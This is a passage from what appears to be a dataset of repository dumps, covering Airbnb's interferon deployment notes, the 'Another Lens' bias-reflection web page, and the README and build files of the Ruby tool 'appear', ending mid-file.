* **`intialize(options)`**: Called for initializing the group_source and reading the options passed in from `config.yml`.
* **`list_hosts`**: Called to get the host list generated by this module. Should return a list of hashes that can be referenced using `@hostinfo` in alerts.
### Tests
Tests can be run via run via `rake spec` (to test additional code/modules) and `rake test` (to test the alert files). There is a datadog syntax checker built into `rake test` that will check for valid Datadog syntax.
There are additional tests in `script/pre-commit` and `test/check_syntax.sh` that can be run to check the syntax of other files.
### Deploying
When committing to the alerts repository, you should ensure that `rake test` is run to check the syntax of the datadog metrics.
To build the alerts repository run:
```
bundle install
```
Once built and deployed, interferon can be run via the following commands assuming the `config.yml` file is placed in the current working directory.
For dry-run:
```
bundle exec interferon --dry-run -c ./config.yml
```
For real run:
```
bundle exec interferon -c ./config.yml
```
#### Best practices
Although you can run interferon from your local workstation, we do not recommend this except for dry-run.
Since a single interferon instance expects to be managing all interferon created alerts, running multiple instances can cause a lot of churn if the alerts or any of the sources are not completely in sync.
You should use a build system which produces artifacts of this repository then have a deployment system set up the latest artifact and invoke `interferon`.
We also recommend running `interferon` periodically (i.e. using cron) on the deployed host to keep the alerts in sync with infrastructure changes and to clean up manual changes made in the UI.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
anotherlens | {"type": "directory", "name": "anotherlens", "children": [{"type": "directory", "name": "css", "children": [{"type": "file", "name": "styles.css"}]}, {"type": "directory", "name": "img", "children": [{"type": "file", "name": "belo.svg"}, {"type": "file", "name": "instagram.svg"}, {"type": "file", "name": "medium.svg"}, {"type": "file", "name": "twitter.svg"}]}, {"type": "file", "name": "index.html"}, {"type": "directory", "name": "js", "children": [{"type": "file", "name": "scripts.js"}]}, {"type": "file", "name": "README.md"}]} | # Airbnb.Design x News Deeply
To help examine how bias influences our worldview, Airbnb Design partnered with News Deeply, a journalism startup dedicated to providing in-depth coverage of the world’s most critical challenges. The end result was Another Lens, a research tool designed to help creatives minimize the impact of bias in their work.
## Three Guiding Principles
<p align="center">
<img src="https://airbnb.design/anotherlens/img/balance.gif" alt="Balance your Bias"><br />
Balance your Bias.
</p>
<p align="center">
<img src="https://airbnb.design/anotherlens/img/opposite.gif" alt="Consider the opposite"><br />
Consider the opposite.
</p>
<p align="center">
<img src="https://airbnb.design/anotherlens/img/growth.gif" alt="Embrace a growth mindset"><br />
Embrace a growth mindset.
</p>
## How to apply them
It contains a set of guiding principles (balance your bias, consider the opposite, and embrace a growth mindset) and exercises that help creatives address skewered perspectives in their process in order to create more inclusive solutions.
Each of the cards below poses a question intended to shake up your thinking as you design. We recommend picking two or three at a time to reframe your work. You can also read more on the science and art behind each question. While this tool was made primarily for designers, we believe all creatives can apply aspects of it to their work.
Next time you find yourself brainstorming, building, or polishing—we invite you to take a moment to challenge your reasoning. Together we can diminish the effects of bias within the creative process.
[Read more about the open source philosophy behind Another Lens](https://airbnb.design/examining-another-lens/)
| {"index.html": "<!doctype html>\n<html lang=\"en\">\n<head>\n <meta charset=\"utf-8\">\n <title>Another Lens - News Deeply x Airbnb.Design</title>\n <meta name=\"description\" content=\"A research tool for conscientious creatives\">\n <meta name=\"author\" content=\"News Deeply and Airbnb.Design\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n <link rel=\"stylesheet\" href=\"css/styles.css\">\n</head>\n<body>\n <header>\n <a href=\"https://airbnb.design\" title=\"Airbnb.Design\">\n <img id=\"logo\" src=\"img/newsdeeplyxairbnb.png\" alt=\"News Deeply and Airbnb Logo\" />\n </a>\n <div id=\"hamburger\">\n <span></span>\n <span></span>\n <span></span>\n </div>\n <nav>\n <div id=\"nav-close\" class=\"close\">\n <span></span>\n <span></span>\n </div>\n <ul>\n <li><a href=\"https://docs.google.com/a/airbnb.com/forms/d/1K0c4YRKQ2gOa4KQxmyvoBQBhxQ8QrWU_xu3ilurvoLU/edit\">Give us feedback</a></li>\n <li class=\"menu-line\"><div></div></li>\n <li><a href=\"https://airbnb.design/shadowtolight\">Shadow to Light</a></li>\n <li class=\"menu-line\"><div></div></li>\n <li><a href=\"https://www.newsdeeply.com/\">News Deeply</a></li>\n <li class=\"menu-line\"><div></div></li>\n <li><a href=\"https://airbnb.design\">Airbnb.Design</a></li>\n </ul>\n <img id=\"nav-logo\" src=\"img/newsdeeplyxairbnb.png\" alt=\"News Deeply and Airbnb Logo\" />\n </nav>\n </header>\n <main>\n <!-- ANOTHER LENS -->\n <section id=\"another-lens\">\n <h1>Another Lens</h1>\n <span class=\"bi-line\">A research tool for conscientious creatives</span>\n <div class=\"div-line\"></div>\n <p class=\"large\">\n How can you design for everyone without understanding the full picture?\n </p>\n <p>\n To help examine how bias influences our worldview, Airbnb Design partnered with <a href=\"https://www.newsdeeply.com/\" target=\"_blank\">News Deeply</a>, a journalism startup dedicated to providing in-depth coverage of the world\u2019s most critical challenges. The end result was the <a href=\"https://airbnb.design/shadowtolight\" target=\"_blank\">Shadow to Light</a> installation, an experience that pressed us to recognize our biases and grapple with our limitations.\n </p>\n <p>\n We believe that both designers and journalists have the responsibility to shine a light on their bias by asking the right questions, seeking conflicting viewpoints, and expanding their lens to build inclusive, global solutions.\n </p>\n </section>\n\n <!-- GUIDING PRINCIPLES -->\n <section id=\"guiding-principles\">\n <h2>Three guiding principles</h2>\n <p>\n Together with News Deeply, our design research team put together a set of guiding principles and exercises. These help designers address skewed perspectives in order to create thoughtful, inclusive work.\n </p>\n <p>\n Our tool, Another Lens, poses a set of questions to help you balance your bias, consider the opposite, and embrace a growth mindset.\n </p>\n <div class=\"principle-group\">\n <img src=\"img/balance.gif\" alt=\"\" />\n <h3>Balance your Bias.</h3>\n </div>\n <div class=\"principle-group\">\n <img src=\"img/opposite.gif\" alt=\"\" />\n <h3>Consider the opposite.</h3>\n </div>\n <div class=\"principle-group\">\n <img src=\"img/growth.gif\" alt=\"\" />\n <h3>Embrace a growth mindset.</h3>\n </div>\n </section>\n\n <!-- HOW TO APPLY -->\n <section id=\"how-to-apply\">\n <h2>How to apply them</h2>\n <p>\n Each of the cards below poses a question intended to shake up your thinking as you design. We recommend picking two or three at a time to reframe your work. You can also read more on the science and art behind each question.\n </p>\n <p>\n While this tool was made primarily for designers, we believe all creatives can apply aspects of it to their work. Next time you find yourself brainstorming, building, or polishing\u2014we invite you to take a moment to challenge your reasoning. Together we can diminish the effects of bias within the creative process.\n </p>\n </section>\n\n <!-- QUESTIONS -->\n <section id=\"questions\">\n <div class=\"question\">\n <h3>Balance Your Bias</h3>\n <p>What are my lenses?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Balance Your Bias</h3>\n <p>Am I just confirming my assumptions, or am I challenging them?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Balance Your Bias</h3>\n <p>What details here are unfair? Unverified? Unused?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Balance Your Bias</h3>\n <p>Am I holding onto something that I need to let go of?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Balance Your Bias</h3>\n <p>What\u2019s here that I designed for me? What\u2019s here that I designed for other people?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Consider the opposite</h3>\n <p>What would the world look like if my assumptions were wrong?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Consider the opposite</h3>\n <p>Who might disagree with what I\u2019m designing?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Consider the opposite</h3>\n <p>Who might be impacted by what I\u2019m designing?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Consider the opposite</h3>\n <p>What do I believe?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Consider the opposite</h3>\n <p>Who\u2019s someone I\u2019m nervous to talk to about this?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Embrace a growth mindset</h3>\n <p>Is my audience open to change?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Embrace a growth mindset</h3>\n <p>What am I challenging as I create this?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Embrace a growth mindset</h3>\n <p>How can I reframe a mistake in a way that helps me learn? </p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Embrace a growth mindset</h3>\n <p>How does my approach to this problem today compare to how I might have approached this one year ago?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Embrace a growth mindset</h3>\n <p>If I could learn one thing to help me on this project, what would that one thing be?</p>\n <span>Behind the question →</span>\n </div>\n <div class=\"question\">\n <h3>Embrace a growth mindset</h3>\n <p>Do I need to slow down?</p>\n <span>Behind the question →</span>\n </div>\n </section>\n\n <!-- ANSWERS -->\n <section id=\"answers\">\n <div class=\"answer\">\n <div>\n <h2>Balance Your Bias</h2>\n <h3>What are my lenses?</h3>\n <span>Background</span>\n <p>\n Your lenses are always there, and they influence how you see the world. These could be inherited (race, gender, nationality, e.g.), developed (political views or religious perspectives), or behavioral (How do you approach problems? Whom do you get advice from? Where do you find news?). Everyone has lenses, but not everyone is aware that they do or even what they are. Be explicit about the lenses you apply to any given decision or project. As you work to identify your own lenses, also think through the lenses you might be missing.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Balance Your Bias</h2>\n <h3>Am I just confirming my assumptions, or am I challenging them?</h3>\n <span>Background</span>\n <p>\n Confirmation bias is the tendency to search for, interpret, favor, and remember information in a way that confirms one's existing beliefs. It's very much a human tendency and is particularly strong around issues that are emotionally charged. It's also one of the biggest threats to equitable design and fair reporting. If we seek to confirm or validate an idea, we will certainly be able to do so. As designers, we must constantly examine our own biases, and be honest with ourselves about how our own lenses could bring imbalance to the projects we pursue, the sources we talk to, and the language we use. Write down three things about your background that might be informing your work, and for each thing write down a corresponding assumption that might lead to bias.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Balance Your Bias</h2>\n <h3>What details here are unfair? Unverified? Unused?</h3>\n <span>Background</span>\n <p>\n Be on the lookout for red flags: work that feels too good to be true, designs that are based on the input of very few or very similar sources, or claims that go beyond the evidence already uncovered. If you don't find and address these head-on, your audience will. Show a draft of your work to someone else, preferably someone whose background is different from yours in a key aspect or two, and ask them to point out anything that seems unfair or that might reflect a narrow point of view.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Balance Your Bias</h2>\n <h3>Am I holding onto something that I need to let go of?</h3>\n <span>Background</span>\n <p>\n We tend to hold on to initial evidence more strongly than information we gather later on\u2014and to fit our interpretation of the world around us to match that initial evidence, regardless of what else we might learn as time passes. This is called the irrational primacy effect, and it's hard to shake. Be explicit about what pieces of information you first stumbled across that might have influenced your thinking, and then critically compare this to other evidence you've gathered. The first conclusion is not always the right one or the best one. As you gather more evidence, write down early ideas you might be anchoring on as a way of making sure they don't get too much attention or power.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Balance Your Bias</h2>\n <h3>What\u2019s here that I designed for me? What\u2019s here that I designed for other people?</h3>\n <span>Background</span>\n <p>\n Designing something that meets your own needs is easy, and it can be a great way to start. But recognizing the boundaries of your own perspective is key. When designing a solution, put in the work to reach out to and listen to the people who don't share your perspective\u2014they're also likely to be the people who are the least easy to access. It's worth the trouble!\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Consider the opposite</h2>\n <h3>What would the world look like if my assumptions were wrong?</h3>\n <span>Background</span>\n <p>\n Back in the 1980s, psychologist Charles Lord ran an experiment to try and help people overcome confirmation bias\u2014the trick our minds play on us that causes us to highlight information that already confirms what we believe, and ignore information that disproves it. He and his colleagues were able to show that asking people explicitly to \u201cconsider the opposite\u201d had a direct impact on overcoming confirmation bias. Never ask questions to validate\u2014work to disprove your assumptions instead. The next time you design a solution, first write down your assumptions and your hypotheses; then write down what you\u2019d see in the world if your assumptions were wrong. Any research you do to inform your work should be focused on helping to find evidence of those things.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Consider the opposite</h2>\n <h3>Who might disagree with what I\u2019m designing?</h3>\n <span>Background</span>\n <p>\n We tend to surround ourselves with people who are similar to us\u2014this is called homophily. It's simply part of human nature; hundreds of studies have been conducted that illustrate how similarity fosters connection. When designing, make sure that you gather input on your solutions not only from people who are similar to you (i.e. your friends and family), but also from those with a wildly different point of view.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Consider the opposite</h2>\n <h3>Who might be impacted by what I\u2019m designing?</h3>\n <span>Background</span>\n <p>\n Be thoughtful about whom you reach out to for insights. Even experts can disagree on why something is happening, or what the right approach is. And of course, many times the best ideas or solutions come from the people experiencing the problem firsthand. Be prepared to broaden your sphere of influence.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Consider the opposite</h2>\n <h3>What do I believe? </h3>\n <span>Background</span>\n <p>\n There is no such thing as an unbiased person. Our beliefs color everything we do, but we're rarely explicit about what those are from the outset. Take time to write down what you believe, even if those beliefs don't feel immediately applicable to what you're designing. The process of making a list of personal beliefs can help you to better understand why you approach problems in the way that you do\u2014and can start to highlight opportunities for growth and additional areas for exploration.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Consider the opposite</h2>\n <h3>Who\u2019s someone I\u2019m nervous to talk to about this?</h3>\n <span>Background</span>\n <p>\n Psychologists Jennifer Lerner and Philip Tetlock study accountability. Their work suggests that people only ever fully push themselves to think critcially when they need to explain their thinking to others who are 1) well-informed, 2) geuninely interested in the truth, and 3) whose views they don't already know. While it's nearly impossible to talk to someone who has all three of these characteristics, challenge yourself to share your approach with someone who has at least two out of the three\u2014and welcome their input.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Embrace a growth mindset</h2>\n <h3>Is my audience open to change?</h3>\n <span>Background</span>\n <p>\n In a \"fixed mindset,\" people believe that they have a set of fixed, immovable traits, and their experiences reinforce these traits. In a \"growth mindset,\" people believe that their traits and abilites can be developed and improved upon, and their experiences are opportunities to learn and become more resilient. How people react to change\u2014whether they're open to it, or resist it\u2014is very much dependent on which mindset they subscribe to. Ensure your design works both for people with a fixed mindset and people with a growth mindset by working to understand where people are, and then meeting them there.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Embrace a growth mindset</h2>\n <h3>What am I challenging as I create this?</h3>\n <span>Background</span>\n <p>\n Design should challenge the status quo, and that's not always comfortable, nor is it easy. Once you have an initial design, ask yourself whether or not the design is helping move your audience forward.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Embrace a growth mindset</h2>\n <h3>How can I reframe a mistake in a way that helps me learn?</h3>\n <span>Background</span>\n <p>\n Mistakes happen. Preparing for them mentally\u2014and recognizing everything you'll be able to learn, even when something goes wrong\u2014can actually help your work to be more thorough and thoughtful.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Embrace a growth mindset</h2>\n <h3>How does my approach to this problem compare to how I might have approached this a year ago?</h3>\n <span>Background</span>\n <p>\n Carol Dweck, a social psychologist from Stanford, formulated the idea of the growth mindset. Put simply: when people believe they can become smarter, they understand that effort makes them stronger\u2014and then put in extra time and effort, which leads to higher achievement. Take a moment to recognize all the ways in which you've grown in the last year, and make sure you're building on all that you've learned as you approach the problem at hand.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Embrace a growth mindset</h2>\n <h3>If I could learn one thing to help me on this project, what would that one thing be?</h3>\n <span>Background</span>\n <p>\n By focusing time on learning, we also end up creating space to shake bias out of our thinking. Research shows that when people are distracted or overwhelmed, they tend to rely on biases even more. Make sure you've carved out time for learning, not just doing, on this project.\n </p>\n </div>\n </div>\n <div class=\"answer\">\n <div>\n <h2>Embrace a growth mindset</h2>\n <h3>Do I need to slow down?</h3>\n <p>\n Design moves fast, and we have to hustle to keep up. But research shows that often when we move fast we rely more heavily on biases. When you slow down and try to be aware of the heuristics and assumptions that allow you to make snap judgements, you can apply a more balanced and reasoned approach to the problems and ideas you're tackling.\n </p>\n </div>\n </div>\n\n <div id=\"answer-close\">\n <span></span>\n <span></span>\n </div>\n\n <div class=\"share\">\n Share: <span id=\"share-link\"></span>\n <button onclick=\"copyToClipboard('#share-link')\">Copy</button>\n </div>\n </section>\n\n <!-- KEEP ASKING -->\n <section id=\"keep-asking\">\n <h2>Keep asking the right questions.</h2>\n <a href=\"Another_Lens.pdf\" title=\"Download Another Lens PDF\">Download PDF</a>\n <div class=\"div-line\"></div>\n </section>\n </main>\n\n <!-- FOOTER -->\n <footer>\n <div id=\"footer-links\">\n <div class=\"social\">\n <a class=\"medium\" href=\"https://medium.com/airbnb-design\"><span>Medium</span></a>\n <a class=\"twitter\" href=\"https://twitter.com/airbnbdesign\"><span>Twitter</span></a>\n <a class=\"instagram\" href=\"https://www.instagram.com/airbnbdesignteam\"><span>Instagram</span></a>\n </div>\n <a href=\"http://nerds.airbnb.com/\">Engineering & Data Science</a>\n <a href=\"/about/\">About</a>\n </div>\n <a class=\"copy\" href=\"https://www.airbnb.com/\" title=\"Airbnb, Inc.\" rel=\"home\">© Airbnb, Inc.</a>\n </footer>\n <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js\"></script>\n <script src=\"js/scripts.js\"></script>\n</body>\n</html>\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
appear | {"type": "directory", "name": "appear", "children": [{"type": "file", "name": ".doc-coverage"}, {"type": "file", "name": ".rspec"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "appear.gemspec"}, {"type": "directory", "name": "bin", "children": [{"type": "file", "name": "appear"}, {"type": "file", "name": "pparents"}]}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "Gemfile"}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "appear", "children": [{"type": "file", "name": "command.rb"}, {"type": "file", "name": "config.rb"}, {"type": "file", "name": "constants.rb"}, {"type": "directory", "name": "editor", "children": [{"type": "file", "name": "nvim.rb"}]}, {"type": "file", "name": "editor.rb"}, {"type": "file", "name": "instance.rb"}, {"type": "file", "name": "lsof.rb"}, {"type": "file", "name": "mac_os.rb"}, {"type": "file", "name": "output.rb"}, {"type": "file", "name": "processes.rb"}, {"type": "file", "name": "revealers.rb"}, {"type": "file", "name": "runner.rb"}, {"type": "file", "name": "service.rb"}, {"type": "file", "name": "terminal.rb"}, {"type": "file", "name": "tmux.rb"}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "command_builder.rb"}, {"type": "file", "name": "join.rb"}, {"type": "file", "name": "memoizer.rb"}, {"type": "file", "name": "value_class.rb"}]}, {"type": "file", "name": "util.rb"}]}, {"type": "file", "name": "appear.rb"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "scripts", "children": [{"type": "file", "name": "console"}, {"type": "file", "name": "setup"}]}, {"type": "directory", "name": "spec", "children": [{"type": "file", "name": "appear_mocks.rb"}, {"type": "file", "name": "appear_spec.rb"}, {"type": "file", "name": "command_builder_spec.rb"}, {"type": "directory", "name": "command_output", "children": [{"type": "file", "name": "1469041336-lsof-run0.json"}, {"type": "file", "name": "1469041336-lsof-run1.json"}, {"type": "file", "name": "1469041336-macOS-helper.js-run0.json"}, {"type": "file", "name": "1469041336-macOS-helper.js-run1.json"}, {"type": "file", "name": "1469041336-ps-run0.json"}, {"type": "file", "name": "1469041336-ps-run1.json"}, {"type": "file", "name": "1469041336-ps-run2.json"}, {"type": "file", "name": "1469041336-ps-run3.json"}, {"type": "file", "name": "1469041336-ps-run4.json"}, {"type": "file", "name": "1469041336-ps-run5.json"}, {"type": "file", "name": "1469041336-ps-run6.json"}, {"type": "file", "name": "1469041336-ps-run7.json"}, {"type": "file", "name": "1469041336-ps-run8.json"}, {"type": "file", "name": "1469041336-ps-run9.json"}, {"type": "file", "name": "1469041336-tmux-run0.json"}, {"type": "file", "name": "1469041336-tmux-run1.json"}, {"type": "file", "name": "1469041336-tmux-run2.json"}, {"type": "file", "name": "1469041336-tmux-run3.json"}, {"type": "file", "name": "1469041336-tmux-run4.json"}]}, {"type": "file", "name": "integration_spec.rb"}, {"type": "file", "name": "join_spec.rb"}, {"type": "file", "name": "lsof_spec.rb"}, {"type": "file", "name": "mac_os_spec.rb"}, {"type": "file", "name": "memoizer_spec.rb"}, {"type": "file", "name": "processes_spec.rb"}, {"type": "file", "name": "runner_spec.rb"}, {"type": "file", "name": "spec_helper.rb"}, {"type": "file", "name": "value_class_spec.rb"}]}, {"type": "directory", "name": "tools", "children": [{"type": "file", "name": "macOS-helper.js"}, {"type": "file", "name": "unix-dropper.applescript"}]}]} | # Appear
Appear your terminal programs in your gui!
[![GitHub repo](https://badge.fury.io/gh/airbnb%2Fappear.svg)](https://github.com/airbnb/appear) [![Build Status](https://secure.travis-ci.org/airbnb/appear.svg?branch=master)](http://travis-ci.org/airbnb/appear) [![Gem Version](https://badge.fury.io/rb/appear.svg)](https://badge.fury.io/rb/appear)
Docs: [current gem](http://www.rubydoc.info/gems/appear), [github master](http://www.rubydoc.info/github/airbnb/appear/master), your branch: `bundle exec rake doc`
[![screenshot demo thing](./screenshot.gif)](https://github.com/airbnb/appear/raw/master/screenshot.gif)
<!-- the above screenshot is purposefully broken for YARD docs: it's annoying
there, but nice on github :) -->
Appear is a tool for revealing a given process in your terminal. Given a
process ID, `appear` finds the terminal emulator view (be it a window, tab, or
pane) containing that process and shows it to you. Appear understands terminal
multiplexers like `tmux`, so if your target process is in a multiplexer
session, `appear` will reveal a client connected to that session, or start one
if needed.
This project intends to support all POSIX operating systems eventually, but
currently only supports macOS.
## usage
```
Usage: appear [OPTION]... [PID]
Appear PID in your user interface.
Appear will use the current process PID by default.
Options:
-l, --log-file [PATH] log to a file
-v, --verbose tell many tales about how the appear process is going
--record-runs record every executed command as a JSON file in the appear spec folder
--version show version information, then exit
-?, -h, --help show this help, then exit
Exit status:
0 if successfully revealed something,
1 if an exception occurred,
2 if there were no errors, but nothing was revealed.
```
## supported terminal emulators
macOS:
- iTerm2
- Terminal
cross-platform:
- tmux
GNU Screen support is a non-goal. It's time for screen users to switch to tmux.
## system requirements
- `ruby` >= 1.9.3
- `lsof` command
- `ps` command
- `pgrep` command
- if you're a mac, then you should have macOS >= 10.10
Appear depends only on the Ruby standard library.
## how it works
Here's how Appear works in a nutshell, given a `target_pid`
1. get all the parent processes of `target_pid`, up to pid1. We end up with a
list of ProcessInfos, which have fields `{pid, parent_pid, command, name}`
2. go through our list of "revealers", one for each terminal emulator (tmux,
iterm2, terminal.app) and ask the revealer if it can apply itself to the
process tree.
3. if a revealer finds an associated process in the tree (eg, tmux revealer
finds the tmux server process), it performs its reveal action
- this usually involves invoking `lsof` on a `/dev/ttys*` device to see what
processes are talking on what ttys to each other, which takes a bunch of
time
- `lsof` in Appear is parallel, so grouped lsof calls are less expensive
- the Tmux revealer is smart enough to both focus the pane that the
`target_pid` is running in, AND to recurse the revealing process with the
tmux client id, to reveal the tmux client.
4. the revealer sends some instructions to the terminal emulator that contains
the view for the PID
- for our Mac apps, this involves a helper process using [Javascript for
Automation][jfora], a JavaScript x Applescript crossover episode.
- for tmux this is just some shell commands, super easy.
[jfora]: https://developer.apple.com/library/mac/releasenotes/InterapplicationCommunication/RN-JavaScriptForAutomation/Articles/OSX10-10.html#//apple_ref/doc/uid/TP40014508-CH109-SW1
## ruby api
The method documented here is the only part of Appear that should be considered
stable.
```ruby
require 'appear'
# super simple
Appear.appear(pid)
# You may customize logging, if needed, using the Config class
config = Appear::Config.new
# print debug info to STDOUT
config.silent = false
# also write to a log file
config.log_file = '/tmp/my-app-appear.log'
Appear.appear(pid, config)
```
## contributing
First, get yourself set up:
1. make sure you have bundler. `gem install bundler`
2. inside a git clone of the project, run `./scripts/setup` or `bundle install`
Then, submit PRs from feature branches for review:
1. `git checkout -b my-name--my-branch-topic`
1. write code
1. run `./scripts/console` for a nice pry session with an instance ready to go
1. run `bundle exec rake` to run tests and doc coverage
1. commit and push your changes, however you do
1. [open a PR against airbnb master](https://github.com/airbnb/appear/compare?expand=1)
## releasing new versions
You must be a collaborator on Rubygems.org, and a committer on the main repo at
https://github.com/airbnb/appear.
1. update lib/appear/version.rb with the new version number
1. update CHANGELOG.md with changes in the new version
1. commit those changes, and merge them to master
1. checkout master
1. `bundle exec rake release`
| {"appear.gemspec": "# coding: utf-8\nlib = File.expand_path('../lib', __FILE__)\n$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)\nrequire 'appear/constants'\n\nGem::Specification.new do |spec|\n spec.name = \"appear\"\n spec.version = Appear::VERSION\n spec.authors = [\"Jake Teton-Landis\"]\n spec.email = [\"[email protected]\"]\n\n spec.summary = %q{Appear your terminal programs in your gui!}\n spec.description = <<-EOS\n Appear is a tool for revealing a given process in your terminal. Given a\n process ID, `appear` finds the terminal emulator view (be it a window, tab, or\n pane) containing that process and shows it to you. Appear understands terminal\n multiplexers like `tmux`, so if your target process is in a multiplexer\n session, `appear` will reveal a client connected to that session, or start one\n if needed.\n\n This project intends to support all POSIX operating systems eventually, but\n currently only supports macOS.\n EOS\n spec.homepage = \"https://github.com/airbnb/appear\"\n\n # Prevent pushing this gem to RubyGems.org by setting 'allowed_push_host', or\n # delete this section to allow pushing this gem to any host.\n # if spec.respond_to?(:metadata)\n # spec.metadata['allowed_push_host'] = \"TODO: Set to 'http://mygemserver.com'\"\n # else\n # raise \"RubyGems 2.0 or newer is required to protect against public gem pushes.\"\n # end\n\n spec.files = `git ls-files -z`.split(\"\\x0\").reject { |f| f.match(%r{^(test|spec|features)/}) }\n spec.bindir = \"bin\"\n spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }\n spec.require_paths = [\"lib\"]\n\n spec.add_development_dependency \"bundler\", \"~> 1.10\"\n spec.add_development_dependency \"rake\", \"~> 10.0\"\n spec.add_development_dependency \"rspec\"\n spec.add_development_dependency \"pry\"\n spec.add_development_dependency \"yard\", \"~> 0.8.0\"\nend\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "bin\\appear": "#!/usr/bin/env ruby\nrequire 'pathname'\n\n# require pry in development\nbegin\n require 'pry'\nrescue LoadError\nend\n\nbegin\n require 'appear/command'\nrescue LoadError\n $:.unshift(Pathname.new(__FILE__).realpath.dirname.dirname.join('./lib').to_s)\n require 'appear/command'\nend\n\ncommand = Appear::Command.new.execute(ARGV)\n", "lib\\appear.rb": "# Appear your terminal programs in your gui!\n#\n# Appear is a tool for revealing a given process in your terminal. Given a\n# process ID, `appear` finds the terminal emulator view (be it a window, tab,\n# or pane) containing that process and shows it to you. Appear understands\n# terminal multiplexers like `tmux`, so if your target process is in a\n# multiplexer session, `appear` will reveal a client connected to that session,\n# or start one if needed.\n#\n# Most users of this library will find the {Appear.appear} method sufficient,\n# although you may construct and control library internals using the\n# {Appear::Instance} class, which is our \"main\" class.\n#\n# Other useful ideas include the {Appear::BaseService} class, which is a\n# super-simple 